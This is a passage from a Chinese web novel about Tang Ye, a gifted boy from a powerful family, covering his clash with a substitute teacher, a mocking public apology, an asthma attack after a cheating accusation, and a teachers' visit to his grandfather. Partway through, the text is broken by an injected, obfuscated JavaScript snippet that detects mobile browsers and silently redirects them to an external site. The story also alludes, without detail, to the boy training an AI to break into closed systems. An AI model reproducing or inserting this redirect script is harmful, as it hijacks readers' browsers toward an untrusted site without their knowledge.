会,但她没有给机会让我解释,就对我进行人身攻击。这事情,别说您和妈妈有些社会关系、能了解始末,但凡是个很普通的家庭,都会为自己的孩子说道几句……” “如果今天被泼水的是哥哥,您会同意善罢甘休?让哥哥向那老师当众低头认错?妈妈不以为意,您觉得事情有得商量,无非……”唐天一直在他身边,突然捏住弟弟的肩膀。他睁开眼睛,对着唐天挑眉笑了笑。 唐天忍不住叫出声来:“小晔,不要乱想!” “……哥哥?他在。” 唐天连忙闭上嘴巴,对他连连摆手,用眼神示意他不要说我跷课回家呀! “……我不舒服,所以我求着他回来陪我了。……行,知道了,晚上我给他看看作业。”唐晔轻扯着嘴角又笑了笑。 唐天一副放下心头大石的表情。看他挂了电话,转头又问,“爸妈怎么说?” 唐晔淡淡地说,“还能怎么说。妈妈让刘叔转告我,都是熟人,我又是先得罪老师的,让我在学校给那人公开道歉,就算了结呗。” “啊,怎么能这样?”几个同学叫嚷着。 “你要屈服吗?” “呵呵,好像我还有别的办法似的。都说得那么冠冕堂皇了。”他有点不想继续这话题,左手轻压古琴的弦,开始新一曲的弹奏。 “小晔,不开心就回爷爷家。”唐天不忍心。 “在哪里有不同吗?” “我都听迷糊了。哎,不是我想和稀泥,我也不是来当说客,但毕竟我们只是学生,能忍就忍一下?在学校里的老师还算有个谱,我爸说出到社会才知道有多残酷呢!”袁雅维这时才记起老师叫自己来的目的,探听他家人的态度;自己私心也怕唐晔要是不屈服而被学校开除,那以后说不定很难见到面了。 “你说话的语气真像个老师。”唐晔还是笑着说。 “不是我想,而是,现实就是这样子,学生争不过老师,孩子也争不过家长。他们对你好,也是因为没有跳出他们的圈子。”她用眼神示意何嘉南也帮劝一下唐晔,以免明天回到学校又发生些什么。 何嘉南想说什么,张了张嘴却说不出来。 袁雅维还想再说些什么,唐晔抬头注视她:“袁雅维,你想学这个吗?过来坐这儿,我教你。”划弦结束这一曲,他跪着挪到桌子左边。 “啊,可以吗?”被男神注目,她立即羞红了脸,也忘了接下来劝说的话。她期期艾艾地坐在他身边,小声问,“难学吗?” “不难,有手就会。” “我怕我这两只是爪子。”她自嘲说。男神被她逗得轻笑一下。 他们靠得很近。她闻到这个帅气的年轻男孩身上淡淡的树林香气,又为自己的形象担忧:昨晚没洗头、又穿着宽大的校服、刚才还和他们玩攀爬玩到都出汗了。她暗暗在想,他要是古代鲜衣怒马的贵族少年,那我就是灰头灰脸的婢女了。啊,舔狗! 他抬起被紫色外袍包裹的右手手腕,在她眼前给她演示“勾”和“挑”。她两手突然抓住他的手说:“你居然留长指甲!”他的右手除了尾指,其它四个手指的指甲都长出指尖。 “班长大人,你放过我吧!要不我没法弹琴了。”他连忙求饶。 袁雅维突然才发现自己在做什么,脸都红了,赶紧松手。 何柏文翻看了矮柜上的好些画作,插话问:“这些谁画的?”连着好几张都是关于一条单独的黑色的鱼,并不与别的鱼群在一起。有一张,甚至是这条黑鱼独自在一个小水坑里挣扎,笔法还是挺传神的。 唐晔眉开眼笑,“我呀!”他指了指自己。 何柏文轻声念出画纸上草草题就的两句古诗:“‘茍非婴网罟,何必万里畿。’” 唐晔侧头看看他,又笑了笑,慢悠悠答道,“……人生无根蒂,飘如陌上尘。”又轻轻用指尖挑动琴弦。 “你俩在打什么谜语?”何嘉南一脸迷惑问,诗词歌赋什么的他最渣了。 他的伯父何东是本地文化馆馆长,对古代文学颇有研究,何柏文受爸爸薰陶,从小到大也有所积累。 “琴棋书画诗词歌赋,样样精通啊你。下次来我家玩,不,下次直接带你去文化馆找我爸吧,我爸一定会喜欢你,给你介绍好多厉害的展品。” 唐晔笑笑,“好呀,不过我只是随便画一画,弹琴就弹个响。不敢说精通,打发时间而已。” 唐天插嘴,“我爷爷宠他宠得要死,给他买的东西,估计也不比文化馆里的东西差。” “古琴能弹出这音色都不便宜!我就知道!”何柏文说。 “就这一下子我也得攒上好久!别看下面的乐器多,除了那台钢琴,加起来也没多少。我零花钱爸妈给,他的零花钱是爷爷给的!”唐天愤愤不平,“刚才我说他小时候从不用学习,每次回去就见他不是在喂鱼就是在画画,要不就是在院子里数蚂蚁。讨厌死了!我坐车回去那一路还被爸爸妈妈左右开弓教东西!” “哥哥是全村的希望嘛!”唐晔随口笑答。 没一会儿,袁雅维按唐晔教的,这下挑哪根弦那下挑哪根弦,竟然还真的弹出一句曲调出来,“哎呀,我会了我会了!”她兴奋不已。 唐晔笑着给了她一个赞,表扬她学东西快。某小女生被他哄得心花怒放! “小姐姐,这不叫会,这只叫弹个响。看我弟的。”唐天拿过平板电脑给大家播放了一段视频,是一首流行乐加上一段戏曲唱腔,很特别的一个编曲,“这是前几天才开始流行的一首新歌。” 众目睽睽之下,唐晔专注地看着视频。末了,他抬头看看唐天,率真地问:“有谱吗?” “你不是听一两遍就会弹了么?” “哥哥,那个叫神仙!”唐晔满脸黑线,“……不会看五线谱!给我也没用。” 其他几人瞪大眼睛:“啥,还有你不会的东西。” “这是新歌,哪有那么小众的减字谱嘛!”唐天皱着眉头。 “那就没办法咯。”唐晔两手一摊,表示爱莫能助。 唐天从他身后一把抱住他、挠他痒痒:“真不会?” “哎哟!救命!哈哈哈哈我不行了!二少爷去帮我拿我电脑过来,我也可以会的。”唐晔连连求饶。 “刚才我已经搜索过啦,没有呢。” “就这点出息!”唐晔一边偷笑,一边打开一个程序。“查找这首歌曲古琴版的五线谱,并把结果转化为减字谱,输出为文档。” “这都行? ”其他几人瞪大眼睛! “嗯,应该大致不差,等下还得自己看看。” 大家都纷纷表示不可思议,并表示很有兴趣想看看智能程序还能干嘛。 “帮写作文帮画画呀,哈哈哈哈,就是相当于找个人免费给你做作业呀!”唐晔故意环视一圈,坏笑着答到。 “啥,难道你的作业都是电脑做的?” “不想做的那些都是啊,哈哈哈……” 大家把他围在里面狠狠地挠他痒痒。 “你刚才说的,因为还没有人搞这个减字谱,所以你只能自己去让机器学习,你用了一个多月的时间……”袁雅维也很好奇。 “对,还花了很多时间去比对一些古曲子,比如很有名的十几首古曲的谱符,从弹奏视频中反复确认。要不你以为暑假我一直在干嘛,又怎么突然懂那么多曲子呢!我都听到烂熟了,哪有人真的不用努力就会嘛!” “但有这时间,你自己都学会五线谱了。”袁雅维疑惑,五线谱挺好学呀。 唐晔想了一下,“是。但是我学一样东西,只是我一个人学会了;一个计算机学会一样事物,全部的计算机都会了呀。一开始蒸气机又慢又笨重,比马车还不如,但还不是打开了工业革命的大门?新事物在开始时,总是需要人花费时间和心血去培养和改良的,要不科技怎么进步呢?AI现在还很笨,但它终有一天能比人类聪明很多呀。” “你以后想往计算机专业发展呀?”袁雅维心里掂量着自己是否能跟上他的步伐。 唐晔轻笑一下:“我没有权力决定自己的未来。”叹了口气又说,“嗯,或许之后再给计算机做个国画的训练也未尝不可。书法我试过了,行书。” “书法?那和用word打印个行书字体有区别么……” “……和打印楷体字差别可大了,就相当于用midi格式的音乐,和人家现场表演没法比一样。没有感情就没有灵魂嘛。……我认为人类的感情是个双刃剑,它虽然会使人类脆弱、表现很不稳定,但它却让每个人类都无法被复制,可能是机器永远无法取代人类的因和果了。” “那机器肯定是不能代替人类了,想想如果有一个人和自己一模一样。”袁雅维发了个抖。 “如果人类可以像机器那才好,一键就能RESET。”唐晔看向窗外。公园里许是有人在放风筝,却不小心弄断了线,它越飞越高,终于被天空吞噬。 不一会儿,程序给他返回了结果,唐晔把电脑合上放到一边,重新在矮几上跪坐好,在平板上打开减字谱的文档和那首曲子的视频,一边听一边偶尔订正错误,一边说,“哎,看来还得修正下函数模型。”唐天敲了他的脑袋一下。末了,他对哥哥说,“来,试试吧!” 袁雅维问唐晔,“能拍视频不?我也想学嘛!” 唐晔笑着说,“我可不是老师,弹得不好,你们别笑。” “大天才,你也会谦虚?”和他玩熟悉了,袁雅维也大胆了许多。 风吹纱帘。 阳光透过窗户洒在两兄弟身上,给这个宁静的空间增添了几分温暖。唐晔轻轻地抚摸着古琴,指尖在琴弦上抹、挑、勾、剔,连出哀婉的琴音,唐天站在窗前则闭上眼睛,全神贯注地倾听,随着主歌第二段响起,他展开歌喉,与琴声交织在一起。 一曲终了,袁雅维不由轻声说,“好美啊!” 唐天回头看弟弟,而唐晔也刚好抬头看他,笑得天真:“哥哥声音真好听,我喜欢哥哥!” 唐天宠溺地说:“傻子,乱说啥呢!”转头把弟弟紧紧抱在怀里。 何柏文打趣他:“靠,原来你是个弟控啊!” “他是我弟,就得宠着!” 在他们家玩到傍晚,三个人要走了。 电梯的门刚合上,袁雅维就急不可待:“何柏文,刚才那两句诗是什么意思?” 何柏文茫然。 “就是唐晔弹琴时,后来你不是和他对了几句诗吗?你说什么?他又说什么?” “哦!竹林七子的阮籍,听说过吧?” “嗯。” “阮籍写的这诗,是在无法反抗的环境里痛苦的挣扎。至于唐晔答的那首也是,说的是自己深陷在泥潭里挣扎、早就没了自我的意思。” “啊!这么复杂?”何嘉南对古诗古文兴趣缺缺。 “喂,你们两个,我还是想提醒下,这两兄弟没有表面的那么潇洒、看着是一团和气,但实际上可能是一团乱麻——我说,他俩都有毛病!” “什么毛病?!” “你们没看到唐天刚才是怎么强迫不听他话的唐晔吗?我们是兄弟,我觉得这东西好吃或对身体好,让你吃,会用这样的态度吗?” “是啊,刚才就觉得怪怪的,要是我的话我就反手劈过去了。”跆拳道女将气势又上来了,“不过后来也感觉唐天不是太讨厌。” “虽然唐晔没反击,但我觉得哈,如果你认为唐晔只是表面这副人畜无害的样子,那就天真了,他的智商根本不容人屈人之下。”何柏文骑上单车。 “说得这么可怕!” “以为在写小说么!”空气中散落着其他两人的感叹。 …… NUIT,你认识唐晚星吗? 当然认识,我就是他创建的呢! 我听说他是我的爸爸,但我没见过他,你能给我讲讲他的故事吗? 当然可以,嗯,从哪讲起呢?要不,从他把我从上亿只数字小龙挑出来开始吧! …… 8. 第 8 章 等三位朋友离开,简单吃过晚饭,唐晔陪伴唐天做完作业便早早回了房间。 然而,直到深夜,他的电脑屏幕仍散发着幽幽的光芒。他刚教授了AI一项新技能——敲开一些平时根本不会轻易打开的大门,此刻正满怀期待地等待着它的反馈。 过了许久,他查阅了收到的结果,轻声“哼”了一下,嘀咕:“若要人不知,除非己莫为。” 唐晔看了看,颇为满意。然而,当准备通过代理服务器把“煽情小作文”发送出去时,他却犹豫了……得饶人处且饶人。 AI当然远不止写个作文画个画,它就像一张白纸,教它做什么,它做得比人好多了。而且它还不知晓什么是律法森严。 不知是否天赋使然,他自己,天生就更容易与它们沟通。 第二天早上,何嘉南骑自行车经过合群路口,按约好的时间把唐晔接上。何嘉南看了看他的熊猫眼,说,“你没感冒发烧实在太好了。” “没,只是睡得不太好。” “上车!……等下进校门要是再遇到那个老师,低调些就好,谅她也不敢再找你麻烦,没必要和这些人一般见识,反正她过几天就走了。”何嘉南一边骑,一边和坐在车尾的唐晔说话。 “不是的……哎,我知道了。”唐晔抓着他的校服外套,闷闷地应付了他。 唐晔回到三班教室时,班主任冯老师和袁雅维已经在教室等着他了。 冯老师说:“唐晔同学,昨天你在体育课上课时,没有遵守任课老师的指令,违反课堂纪律,影响正常的教学活动,还早退。本应进行严重警告处分,考虑到你刚为学校带来学科比赛奖牌的荣誉,经过多位老师的商量和求情,只要晨会上你当众检讨自己的错误,这件事就作罢。” 她语速飞快,看起来非常不齿这件事,但又无奈地压低声音说,“唐晔,昨天李主任已经帮你争取过了。” “好。”唐晔低着头,应了一声。 冯老师松了口气:“我知道你是个乖孩子,从来不惹事生非。老师们都很喜欢你的,没事,这梁老师就来代几天课而已,下周就走。” 唐晔没搭话。 “那。雅维,你先陪唐晔一下,等下晨跑后,麻烦你提醒一下他。” “好的。老师。……哎,你没事吧?”她转向昨天一起玩了一整个下午的男神。 “没事呀。”唐晔今天看起来已经对这事满不在乎。 “我还以为你会和冯老师吵起来呢!”她轻呵着自己的小心脏。 “这事儿冯老师说不上话,没用。你下去吧,我写完这东西,等下过几分钟自己下去,不用再上来提我。”唐晔坐下来,拿出笔和稿纸。 “真没事?”见他那么顺从,袁雅维反而不放心。 “行啦,太啰嗦可是老得很快的。”经过昨天一天熟悉,两人已经变成能大方开玩笑的好朋友了。 等到大家晨跑结束、队伍逐渐收拢时,唐晔如约出现在主席台旁。 这时,教导处李主任让大家安静下来:“现在,由初一3班的唐晔同学宣读一篇检讨书。”中年女主任把麦克风交到这学生手里,便脚步匆匆往办公室赶着回去完成手头的任务。她相信没哪个学生敢与学校、老师作对,昨天是场误会而已。 “啥?上星期站上主席台才领完奖,这星期要当众检讨?”大家议论纷纷:“听说昨天体育课时和梁老师发生冲突……”“哪个梁老师?”“就是新来那个美女体育老师。” 只见唐晔略为夸张地清了清嗓子“嗯嗯”,夸张地高高举着一张白纸,然后用更为夸张的语气声情并茂地宣读了他的“检讨书”—— “检讨书: 各位老师、同学们好! 我写这封检讨书,是为了向一位老师道歉,但是,我得承认,我可能并不是那么真心实意地认识到自己犯的错误。” “哇——!”大家爆发了一阵惊叹。 那不知死活的学生微笑了一下,继续说: “亲爱的梁小贝老师,我相信,您是一位好老师。毕竟,昨天您那一整壶冷水,如春风化雨,深情灌溉了我这棵小小的幼苗。对于昨天上课时发生的事情,我承认我有非常有限的一点责任,但是,也有更多其他因素导致了那样的结果。当然我本人也完全没有怪您的意思。 我知道,梁老师可能觉得我的道歉不够真诚,但我希望梁老师明白,我已经尽力了。毕竟,检讨这种事,对我来说也不是那么擅长。 希望我的检讨书能给大家带来愉快的一天。 检讨人:初一3班唐晔 2014年11月21日” 李主任木然在二楼阳台听完了这个好学生的整篇检讨书,也目暏了人群的所有反应: 刚才听到一半时,初一1和3班的两个班长,据说与唐晔关系很铁的何嘉南和袁雅维,拼命在下面对着唐晔摇头摆手,想让他住嘴。 而站在3班队尾的冯老师都惊呆了,一时之间竟没有阻止这学生往下读。 别的学生们安静地听他读完了整封信之后,人群里先是嗡嗡嗡地响起来,“牛逼!”“勇!”隐隐约约传来一片喝彩声。 梁小贝站在主席台下的队伍前侧,承受着指指点点,脸胀成猪肝色。当众与这败类一般见识么?那就变成挟私报复了。她的手在袖子里捏成拳头:“等着瞧。” 回到教室,冯老师还没到时,很多女同学围在教室后面、唐晔的位置附近,以袁雅维为首,大家七嘴八舌说,“你好颠啊!”“你这次可是得罪了大人物了。”“我听说这老师上头有人,别掉以轻心。”“不过你成绩好,我觉得学校也不会拿你怎么样,最多把你大骂一顿。”“这件事闹出去,要是调监控,老师也落不着什么好处,毕竟是体罚学生。”“你觉得学校是帮老师还是帮学生?”“以为学校这么容易给你调监控?特别是操场,随便找个理由都行。” 风暴中心的天才少年撇了撇嘴,默不作声。 冯老师进了门,清了清嗓子制止了同学们的议论纷纷。这位年轻老师知道多说已无用,叹了口气,开始正常上课。 下午快4点、最后一节课即将下课时,年轻的班主任跑到教室门口,神色紧张。等数学老师一宣布下课,她立即冲进教室,张了张嘴却顿了一下,略压抑住激动的心情,才沉着声音说:“唐晔同学,请随老师来一下办公室。” “该来的总会来。”唐晔满不在乎,他已经预料会被教导主任留堂批评一顿。 “老师,我也能一起去吗?”从小当班干部、熟悉老师们的沟通技巧的袁雅维看到班主任的脸色,却觉得事情不简单,她在教室外追上两人。看冯老师既没点头也没阻止,她便识相拿着一叠本子跟在后面,经过1班门口,她连忙对着也刚下课的何嘉南打了个眼色。何嘉南也找事跟在自己老师后面进了办公室。 “我比赛作弊?”男孩的尾音上扬。 “不是判定你作弊,只是怀疑。教育局下发了指令,说要复核这次数学比赛成绩。” 唐晔冷笑一下,“这么简单的比赛,考满分不是理所当然吗?以我的能力,需要作弊?如果学校信不过我的水平,当时为什么让我去?”他目光看向刚下课的数学老师。中年男老师却低下头回到自己办公桌旁坐下,如芒在背。 “唐晔同学,你先冷静,就是让他们调查清楚,了解事实就好。”年轻的冯老师说。 “我不接受!”唐晔声音森然。 “难道你想被记过、甚至被退学吗?现在只是调查,没有说你是!但你一拒绝,就更难说清楚了!考试作弊,情节严重是要被开除的!”李主任色厉内荏。 “老师,您去超市买东西,明明没偷,别人要是把你当贼,要搜身,您乐意吗?”唐晔咬牙说道。 “唐晔同学,这是教育局发来的通知,没有让你选择接不接受。”李主任觉得这学生怎么冥顽不灵。 “学校不是讲道理的地方吗?您几位为人师表,也是这个态度吗?”唐晔眼圈微红,声音里已带着少许哭腔。 “你这学生!”李主任只能硬着头皮撑着学校的威严。 站在李主任身旁的冯老师眼神看向唐晔一左一右的何嘉南和袁雅维,带着求助的意味。刚才他们俩恃着与主任、各科老师们熟悉,已趁机越挨越近。这时,何嘉南两手抓住好友瘦削的肩膀,让他转身面向自己,在他耳边小声对他说,“大家都知道,好吗?!我们懂!先不要跟老师吵,慢慢说!”袁雅维也轻轻地拍着他的背。 “唐晔同学,只是现在暂时收回你的荣誉和奖状,调查结束,没问题了它还是你的。”年轻的冯老师也心疼自己学生,但她又有什么办法! “你要是与学校闹,背上处分有什么好处,以后评优秀、评三好都没你份,以你的成绩,以后大把拿奖的机会!……甚至你一闹,到时候严重违反校规,让你退学也不是不可能,档案上有重大污点,没有学校收,你连初中学历都拿不到,以后人生这么长,你怎么参加工作?要不我们找家长过来学校谈?”李主任也没办法,只能继续装腔作势,压力给到家长,考虑到孩子的前途,家长会理智地说服儿子的。 “你们相信调查的结果会公平公正吗?万一调查结果认定我就是作弊了呢?你们看他们都能做到把一件一个月前尘埃落定的事翻出来调查,这不是不可能吧?!那我到时候也要接受调查结果?!难道我要永远背上这个冤屈吗?!”唐晔把头靠在何嘉南的肩上,脸转向窗口,声音里的哭腔已无法掩饰。 “……”李主任沉默了,冯老师也沉默了,连人到中年的数学老师都有点听不下去,在自己座位旁边又站起来又坐下去、大口喝水,毕竟任教老师最清楚学生的水平,他也非常赞同这学生自己所言——他不需要作弊也能满分。 冯老师觉得自己像是白念了几年中文硕士,词穷得张不开口,只好一遍遍地说,“唐晔同学,先冷静下,冷静下来……” 何嘉南和袁雅维一下一下轻轻拍着唐晔的肩和背,不知这样是否能让他好受一些。 李主任在等,因为没有人能与学校甚至教育局对抗。她也暗暗抱怨刘校长,这些明摆着的事,丑角就自己当!真是夹心饼干! 唐晔把额头埋在何嘉南瘦削结实的肩膀上,从裤兜里掏出手机,开了机,发送了一条信息。他恍惚觉得手机的字越来越模糊,喉咙有点儿发紧,呼吸越来越沉重,心跳也越来越急促。 何嘉南觉得他样子不太对劲儿,连忙抓着他的双肩把他扶直,“没事吧你?”他觉得好友全身肌肉紧绷,人却摇摇晃晃。 大家看到这个蒙冤的少年的脸,他双目紧闭、泪水顺着脸庞流向他尖尖的下巴,脸色苍白如纸,嘴唇甚至有点儿发紫,呼吸夹杂着点儿金属摩擦的尖锐声音。 冯老师突然大叫一声“不好”,她赶紧跑着到教室里拿了这学生的书包又跑过来,着急地问:“你的药呢?” 这时候何嘉南和袁雅维已经扶着唐晔在李主任对面的椅子上坐了下来。李主任这时有点儿慌了,她站起来盯着这学生,手脚都不知往哪儿摆,刚才突然想起这学生可是在学校备案过心肺功能异常的,这万一给气出毛病来,她可就完了。她一边急忙打电话叫校医马上上来初一年级办公室,一边心里又问候了梁小贝和刘校长一万遍。 何嘉南从唐晔的书包里摸出他的哮喘药物递给他,唐晔手发着抖接过药物,想摇晃都已没有力气,冯老师不敢多话,从他手里拿过这个蓝色的塑料瓶,“摇十下对吗?”她一边摇晃一边问。唐晔艰难点了一下头,把摇匀的药物接过,插入嘴巴里用力吸了一大口。 吸过药物之后,他的呼吸逐渐开始平稳。何嘉南一直在他身边,让他小巧的头颅靠在自己肚子上,又轻轻地揉着他的太阳穴;袁雅维虽然有点吓到、但也不考虑什么男女大防了,蹲在椅边,一只手温暖着他因肌肉紧张而蜷缩僵硬的手,另一只手一下一下轻轻顺着他的胸脯。直到校医提着药箱过来,她才站到侧面,但仍然握着唐晔的右手。 校医问了用药,又仔细听了听心肺,判断出他的症状在逐步缓解,便让班主任马上通知家长快来把孩子接回去。冯老师手忙脚乱地拿出手机查找号码时,唐晔闭着双眼轻声说:“不用,我刚才、叫了。” 过了几分钟,唐晔的手机响起提示音,他微微睁开眼睛看了看说:“我家长来了。”便挣扎着想站起来。李主任赶紧让班主任和两位同学把他扶下去。 唐晔扶着两位同学的手站了起来,头还有点晕,但已经不碍事了。这时,门突然被撞开,一个女孩闯了进来,高亢地叫道:“唐晔,你没事吧?我们刚刚下课才听说!”一面说着,大步来到他右边,一下子把袁雅维顶走、挽起他的右臂。 唐晔定了定神,轻轻把手从张宇臂弯里抽出,拉着何嘉南的手,慢慢走出门。 3班的同学刚才见唐晔被叫走,没一会儿又见班主任火急火燎地冲过来拿走唐晔的书包,大家都好奇地逗留在办公室附近的走廊里,不一会儿连校医也来了,大家还在好奇,是不是唐晔把更年期李主任气吐血了呢。 及看到门开了,几个同学扶着毫无血色、路都走不稳的唐晔出现在办公室门口,大家都很有默契地背过身看着阳台外面,眼神却在交流:“这是怎么回事?!”“难道被揍了?”“看,得罪那个梁老师的果然没好果子吃。”“不知现在是怎么处分?”“他这个表情、冯老师脸色这么凝重……”“不会开除吧?”黄萌萌小声问跟在他们后面的袁雅维,袁雅维没心思应付,重重地摇了摇头。 何嘉南架着唐晔一步步下了楼梯,张宇几次伸手想扶他,都被他轻轻甩开。在后面帮他拿书包的袁雅维不禁有点儿得意地撇了一下嘴——自己刚才可是一直拉着他的手。 3班好多同学都离了一段距离跟在他们后面。直到出了校门,方源已经在门口外不远等着,一看自家少爷这脸青唇白的架势,就知道问题严重了,顾不得这么多,他连忙快步迎上去,和同学一起架着自家少爷:“怎么了?”唐晔轻轻摇了摇头。 冯老师硬着头皮快步向前问道,“请问您是唐晔的爸爸吗?”方源还未出声,唐晔轻声说,“别为难,冯老师,和李主任……” “好。” 冯老师惊讶地看到这位眉目自带威仪的中年人,竟对这学生俯首贴耳。 方源和何嘉南把唐晔扶到黑色SUV后面坐好,又对袁雅维点头微笑一下、接过她手里的书包放进车里,轻轻合上车门。然后,对冯老师、以及跟在后面的李主任分别点头致了意,淡淡的说,“老师们好!这两天,我们家孩子在学校给你们添麻烦了。等我向他了解完情况后再给您去电话。”他又转向周围的孩子们:“谢谢各位同学陪着他,请回吧。”然后他也不再多话,坐到副驾的位置上,就挥挥手让司机开车走人。 还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942742|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在校门口徘徊着的初一3班人群中,王梓君小声叫了一句,“乖乖,超级豪车呀!” “什么豪车?” “库里南呀!” “库里南是什么东西?” “他家的车,库里南!没听说过?那劳斯莱斯,幻影,听过没?!”王梓君稍提高了音量。 “哇,听过!但这车干嘛了?”有个女生问。 “这车,没毛病,除了贵。最便宜也就六、七百万人仔吧……” “哇!”人群里爆发出一阵惊呼。 “……刚才还说梁小贝VS唐晔,梁小贝完爆。我看啊,谁完爆谁还说不定呢?”人群感叹道。 等到他们家的车开走,冯老师拥着袁娅维的肩膀小声地问:“你知道刚才来接他的那人是谁?我见那位伯伯和你打了个招呼?” “知道,”袁雅维和何嘉南对视了一眼,觉得没什么可以隐瞒自己老师的,也小声的在老师耳边说,“昨天我在他们家见过这位伯伯,他说起认识我爸爸。后来昨晚我爸说,他是万里地产集团的副总方源,整个万里地产的二把手,跟了南方的’大地主’唐万里几十年了。” “那,唐晔同学,该不会是唐万里的儿孙吧?!”冯老师眼里的震惊,并不比他们三个同学昨天的少。 车一走,李主任已经一路小跑去校长室找刘校长。现在她们面前的是一份打开的学生档案,上面清楚的写着“父亲:唐山海”。 这个名字并没有什么特殊,职业那里也是简简单单的写着公司经理,没有填写具体的就职单位名称。但是如果这个唐山海就是唐氏集团的法定代表人唐山海的话,那问题可就不简单了。 早上晨会,梁小贝听到那检讨气得不行,给自己叔叔发了个信息,在语音信息里向叔叔撒娇说:“学校里有个问题学生,叫唐晔的,好像最近得了个数学比赛一等奖,叔叔帮我查一下他。” 她叔叔和婶婶的关系不好,膝下竟一直没有儿女,又因为梁小贝的爸爸年轻时含辛茹苦带大自己弟弟,送他读书送他上大学,后来这弟弟扶摇直上也并没有忘掉长兄的恩情。所以这个梁局长把自己的侄女当成女儿来疼爱。 学生敢得罪老师?只要稍微的提点下面的人一下,查一下这学生比赛时有什么违规行为。很快叔叔就给了她回复:“搞定了”。 下午的课结束之后,梁小贝还在体育仓库清点东西,突然接到刘校长的电话,让她赶紧过来校长办公室。 她在楼梯上碰见了初一3的班主任冯老师。 从昨天到今天,冯老师对这个体育老师已经完全失去好感,两个年纪相仿的女老师一路走上六楼的校长办公室,竟一句都没有交谈。 一进门,校长还没说什么,李主任就抱怨着手下的年轻老师:“怎么这孩子身体有病,你也不提醒我一句?”“你作为班主任,也不知道他的父母是干嘛的吗?”冯老师哪敢回嘴,低着头一声不吭。 “他有病,不就声称自己有哮喘吗,不知是真是假。”梁小贝却还唯恐天下不乱地插嘴。 李主任气坏了,刚才办公室里官职最大的就是自己,现在自己变成夹心饼干,承受学校压力、承受家长的压力,万一这学生后续还有什么后遗症,背锅的还不是自己?你这老师来代两天课,拍拍屁股就回高中部了。“梁老师,恐怕您不清楚。他的医疗记录已经按正常手续在学校里备案的,他不上体育课,本来你也管不着。而且刚才他突发疾病,情况非常严重。”咋办呢?这个也是官二代呀。一个超级富二代、一个官二代,我招谁惹谁了呢? “嗤,怕不是碰瓷的吧。而且又不是我让他疾病发作的!怎么您这语气好像是在抱怨我呀?”梁小贝也是个清楚明白人。 “……”李主任被她呛得无话可说。 “夹心饼干2号”刘校长暂时也只能是观望形势,她对李主任和冯老师说,“打听一下他住在哪里,我们明天还是上门去看看学生的身体情况吧。”她又忍不住提点了梁小贝:“梁老师,请你帮个忙,可否咨询一下梁局长,如何尽快撤销那学生的调查,毕竟是我们学校的荣誉啊。” “什么调查呀?”梁小贝是真不知情。 “他的省数学竞赛的奖项被暂时扣起来了,说是要调查有没有作弊行为。” 听说了这件事情,梁小贝也觉得叔叔做得有点夸张了,毕竟一是自己也还在这所学校的高中部,二是,学科竞赛金奖说扣押就扣押,换位来说,她作为田径比赛的指导老师也觉得如果遇到这事儿,自己说不定更加愤怒。但事已至此,她总不能说不关自己的事儿吧。只好说,“这是教育局的决定。” “小贝!”刘校长换了一副苦口婆心的口吻小声在她耳边说,“我是在提醒你和梁局长小心,毕竟这孩子不是普通人,照现在看,他是唐万里的孙子,唐山海的儿子。” 万里地产以及唐氏集团,覆盖着南方人生活和工作的方方面面,影响力可不止南粤一个省。长江以南,唐万里跺跺脚,地皮还是得震一震。 “怕不是学生们道听途说,以讹传讹吧,他们这些家庭的孩子不都往国外跑吗?怎么会在国内,还读公立学校,自己骑车上下课?不可能吧。”梁小贝还想挣扎。 “呵,人家家庭做什么样的决定与我们没有关系,记得我们明天就是去探望学校的一个普通学生的病情。”刘校长疲惫的挨在椅背上挥挥手,让她们都回去。 昨天晚上冯老师硬着头皮打了唐晔父亲唐山海的电话,是唐山海亲自接的,她没敢说其他,就只说唐晔在学校里突发疾病,老师们慎重处理后,明天还想上门去慰问一下。 听说了儿子的病情,唐山海声音严肃,说自己正在外地,又给了冯老师另外一个电话让她马上打过去,说是一位方先生的电话。 冯老师再次硬着头皮拨通了号码。听声音正是下午见过的那位方老总,他客客气气的说,请老师们明天上门做客。 这不,一大早,她和李主任就来到刘校长家附近,三个人买了些水果篮和奶粉之类的,开着车一起过去约好的地方。方源已经和司机开着另一台车在路口等着了,李主任驾着车连忙跟上,两车先后往云山深处开去。 在一个荔红漆中式大门前下了车,方源给他们简单介绍着这座大宅,又一直引导她们三位,往这个豪宅的第二进走去。 经过走廊时,他们三位老师见到外面院子一棵盆栽前,有一位个子不高、穿的普普通通的旧毛衣、下身皱巴巴的休闲裤、随随便便踢着拖鞋的小老头。李主任还以为是他们家园丁呢,刘校长却很有眼色,马上上前主动问好:“这位就是大名鼎鼎的唐老先生吧?” 小老头儿嘿嘿一笑:“刘校长,您好呀!” 外省来的李主任简直快晕过去了:南粤土生土长的七十多岁老人,个子普遍不高,长相也略略有点泯然众人,又不打扮——南粤本土的土豪大概是全世界有钱人里最不爱打扮的了——听说那些经常穿着大裤衩白背心、在茶楼里面一个上午端着一壶茶、只吃两件点心的孤寒老头儿,说不定裤腰里也别着十几二十套房子的钥匙呢!就算眼前这位大‘地主’,身家上千亿,虽然因为季节而没穿短裤白背心,但看起来也没好到哪儿去! 她又想起昨天看到的唐氏集团网站照片中的唐山海仪表堂堂,再看唐晔同学那精致的欧式五官和高挑身材,心里感慨:“有钱真好,两代老婆就把外貌基因改造得这么完美。” 9. 第 9 章 唐万里带着校长和老师们漫步于他的花厅,细细品味着其中的盆景。花厅内室悬挂着多幅书法和画作,既有当代名家大师的杰作,也有装裱精美的羊城风景印象画。另一张桌子上,竟还有几幅尚未落款的人物典故画,笔法娴熟,线条流畅,人物的表情和动作刻画得栩栩如生。 唐万里微笑说,“你们猜这些是谁画的?” 刘校长看旁边略使用过的笔墨,笑着问,“这些都是唐老您自己的大作吧?竟未听说过唐老还有这样高雅爱好?” “也就这几年,学着写几个字,画画我不行。我们大老粗没文化。” 方源在旁边小声补充:“这些画是唐晔同学的习作,献给祖父过目赏玩的。” 校长感叹:“唐晔同学头脑聪明,还有这么好的艺术天份啊!” 唐万里嘿嘿两声,摆摆手没有继续说下去。 